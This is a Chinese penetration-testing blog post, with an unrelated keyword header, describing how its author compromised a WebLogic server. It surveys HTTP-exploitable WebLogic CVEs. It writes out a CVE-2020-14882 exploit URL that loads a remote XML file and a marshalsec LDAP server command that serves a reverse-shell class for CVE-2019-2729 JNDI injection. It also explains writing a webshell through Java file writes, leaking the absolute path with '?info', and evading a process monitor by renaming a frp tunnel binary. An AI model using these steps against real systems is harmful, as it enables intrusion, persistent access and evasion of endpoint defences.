大型门户网站建设流程,网站前端设计与实现,公司备案查询网站,html电影网站模板下载Part1 前言 大家好#xff0c;我是ABC_123。前两期分享了《第14篇#xff1a;Struts2框架下Log4j2漏洞检测方法分析与总结》、《第15篇#xff1a;内网横向中windows各端口远程登录哈希传递的方法总结》#xff0c;本期讲解一个Weblogic拿权限案例。 最近安服的同事打比赛… Part1 前言 大家好我是ABC_123。前两期分享了《第14篇Struts2框架下Log4j2漏洞检测方法分析与总结》、《第15篇内网横向中windows各端口远程登录哈希传递的方法总结》本期讲解一个Weblogic拿权限案例。 最近安服的同事打比赛给我陆续发了好几个没有拿下来的Weblogic的站点一直在想尽各种办法研究争取拿下权限。各种WAF防护、终端防护、不出网、SUID不一致、EXP没回显等等原因造成了现有工具、EXP都没法利用难度都挺大的。接下来分享一个实战案例一个Weblogic站点T3、IIOP协议都关闭。我粗略看了一下初步判断是有waf及终端防护在绕过的过程还是曲折的于是把过程记录下来分享给大家为了防止打码不全造成项目信息泄露我还是拿一个虚拟机环境做演示吧但是思路都是完整的。 Part2 技术研究过程 Weblogic中间件判断 打开weblogic站点输入一个不存在的路径服务器返回如下证明是Weblogic中间件。 后续经过扫描探测发现T3、IIOP协议同时关闭了仅限HTTP访问。于是回想了一下Weblogic在HTTP下大致有以下几个可以拿权限的漏洞我把相关漏洞CVE罗列出来 筛选Weblogic HTTP下可用的EXP 经过一系列筛选经过ABC_123总结Webloigc中间件下HTTP可拿权限的漏洞大致有如下几个其中CVE-2020-14882权限绕过漏洞后续又接连出了好几个绕过方法这里就不一一列举了。 CVE-2014-4210 weblogic SSRF漏洞。很老的一个漏洞了可以通过打内网的redis匿名访问漏洞拿权限。 CVE-2018-2894 两处路径上传漏洞。/ws_utc/begin.do/ws_utc/config.do其中begin.do在开发模式下无需认证在生产模式下需要认证。 CVE-2018-3252 DeploymentService接口上传漏洞。需要用户名密码打补丁后可以判断用户名密码是否存在但是无法上传文件成功。 CVE-2020-14882 权限绕过代码执行漏洞。可以回显执行命令结果可以结合jndi出网利用可以加载xml文件任意代码执行 CVE-2017-3506 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行 CVE-2017-10271 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行 CVE-2019-2725 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行 CVE-2019-2729 代码执行漏洞。Weblogic10.3.6与12.1.3的POC构造不一样,Weblogic 12.1.3版本2729的不出网POC目前无人公布在网上网传的POC仅适用于JDK1.6 Weblogic10.3.6版本情况原理是array methodforName标签替换适用范围有限。 CVE-2021-2109 权限绕过漏洞。利用方式jndi利用成功的前提条件有2个1、需要出网2、JDK版本小于等于JDK1.8.191。 对于这几个漏洞的判断和利用是很麻烦的比如说CVE-2019-2725、CVE-2019-2729、CVE-2020-14756等的各种exp变形非常非常多JDK1.6、JDK1.7、JDK1.8 不同JDK下exp均有不同然后有的可以过waf、有的不能有的可以回显有的却回显不成功有的exp路径存在有的不存在等等。总之各种情况下exp数量太多了挨个测试非常麻烦。于是我写了一个简单的FUZZ工具起一个线程池把所有组合的exp通通尝试一遍每个exp的发包请求、发包返回都会被记录而且还内置了浏览器这样可以仔细分析每个exp利用成功或者失败的原因大家可以自己用python脚本实现一个很简单。 最终经过筛选发现只有两个exp可用而且成功绕过了各种防护。 1 CVE-2019-2729的JNDI出网利用 这是其中一个能用的EXP同时也意味着CVE-2017-10271、CVE-2019-2725漏洞均被打了补丁了不能用而且weblogic版本大致是12.1.3。而且服务器装的JDK需要是JDK 1.8.191才能利用成功。 2 CVE-2020-14882后台绕过及jndi出网利用 这个exp能用挺好的基本上拿下权限是百分之百的事情因为222.xml里面可以加载任意java代码而且不用考虑JDK版本问题。 CVE-2020-14882漏洞的尝试 这个漏洞大体利用先前的权限绕过发起一个jndi请求检测POC大致如下图所示 http://192.168.237.235:7130/console/images/%252E%252E%252Fconsole.portal?_nfpbtrue_pageLabelHomePage1handlecom.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%68%74%74%70%3a%2f%2xxx.xxx.xxx.xxx:53/123.xml) 首先验证一下漏洞可不可用将上述URL中的xml远程地址替换成dnslog地址dnslog地址有返回证明漏洞存在且EXP可用。 接下来将123.xml文件中的命令替换成ping dnslog.cn的命令结果发现dnslog没有返回证明没有成功。。。这是什么情况。。。一顿操作没有找到问题所在。 CVE-2019-2729的JNDI尝试 接下来就把目光放在CVE-2019-2729这个JNDI的exp上了首先编写一个实现了反弹shell功能的MyEvilClass.java文件从ysoserial的github上摘抄了一个反弹shell的java代码编译成MyEvilClass文件用老外的神器marshalsec-0.0.3-SNAPSHOT-all.jar搭建起来使用命令如下 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vpsIP:8888/#MyEvilClass 53 MyEvilClass.java大致内容如下 结果让人崩溃这次反弹shell成功了但是只要执行命令反弹的shell就会断掉。提示“isn’t allowed to be executed” 太难了。。。估计有什么终端防护在上面。。接下来怎么办呢没思路了啥命令都执行不了。 换个思路拿下权限 后来我想了想终端防护拦截的是CMD执行命令、拦截进程等操作现在的攻击对象是Java反序列化漏洞为啥不从Java代码层面上考虑问题呢用Java代码中的PrintWriter类去写入一个Webshell就行了终端防护总不能连正常的java类写文件操作都拦截吧。但是一个问题又来了如何知道网站的绝对路径呢看如下操作 正常的漏洞路径如下 在上述URL路径后面加上一个?info可以直接得到网站的绝对路径看下图的右下角 将上述网站绝对路径放到MyEvilClass.java文件中完成一个写文件的操作。关键代码如下 JNDI请求发起后写文件的java代码被执行webshell成功拿下。 绕过进程监控 接下来就是上传FRP或者dogtunnel架设Socks5代理了结果还是遇到了麻烦。经过一系列测试发现在/tmp目录下任何新建进程都会在1分钟左右被终止掉、新建文件都会被删掉。执行ps -aux命令发现有process monitor字样的进程名存在。 后续绕过方法很简单我在weblogic的domain目录下传一个frp将程序名字更改为weblogic或者tomcat。哈哈进程拦截不拦截了估计也不敢拦截怕终止正常的weblogic或者tomcat应用。 Part3 总结 1. 遇到终端防护拦截执行命令的情况不如换个思路从java代码层面上考虑它总不能连PrintWriter类写文件的正常操作都拦截吧。 2. 那些公布出来的Nday也是有利用价值的可以多研究一下漏洞原理和利用技巧。 3. /_async/AsyncResponseService?info 可以直接获取Weblogic的绝对路径。此外Weblogic还有很多有意思的东西可以挖很多地方都可以获取绝对路径。 专注于网络安全技术分享包括红队、蓝队、日常渗透测试、安全体系建设等 每周一篇99%原创敬请关注 往期精彩回顾 第15篇内网横向中windows各端口远程登录哈希传递的方法总结 第14篇Struts2框架下Log4j2漏洞检测方法分析与总结 第13篇coldfusion反序列化过waf改exp拿靶标的艰难过程 第12篇给任意java程序挂Socks5代理方法 第11篇盲猜包体对上传漏洞的艰难利用过程 第10篇IIS短文件名猜解在拿权限中的巧用 第9篇Shiro反序列化数据包解密及蓝队分析工具提供下载 第8篇Oracle注入漏洞绕waf的新语句 第7篇MS12-020蓝屏漏洞在实战中的巧用 第6篇Weblogic反序列化攻击不依赖日志溯源攻击时间 第5篇Shiro Padding Oracle无key的艰难实战利用过程 第4篇jsp型webshell被删情况下如何溯源攻击时间 第3篇银行Java站SSRF组合洞打法造成的严重危害 第2篇区分Spring与Struts2框架的几种新方法 第1篇weblogic9.x在JDK1.5下T3反序列化漏洞利用方法
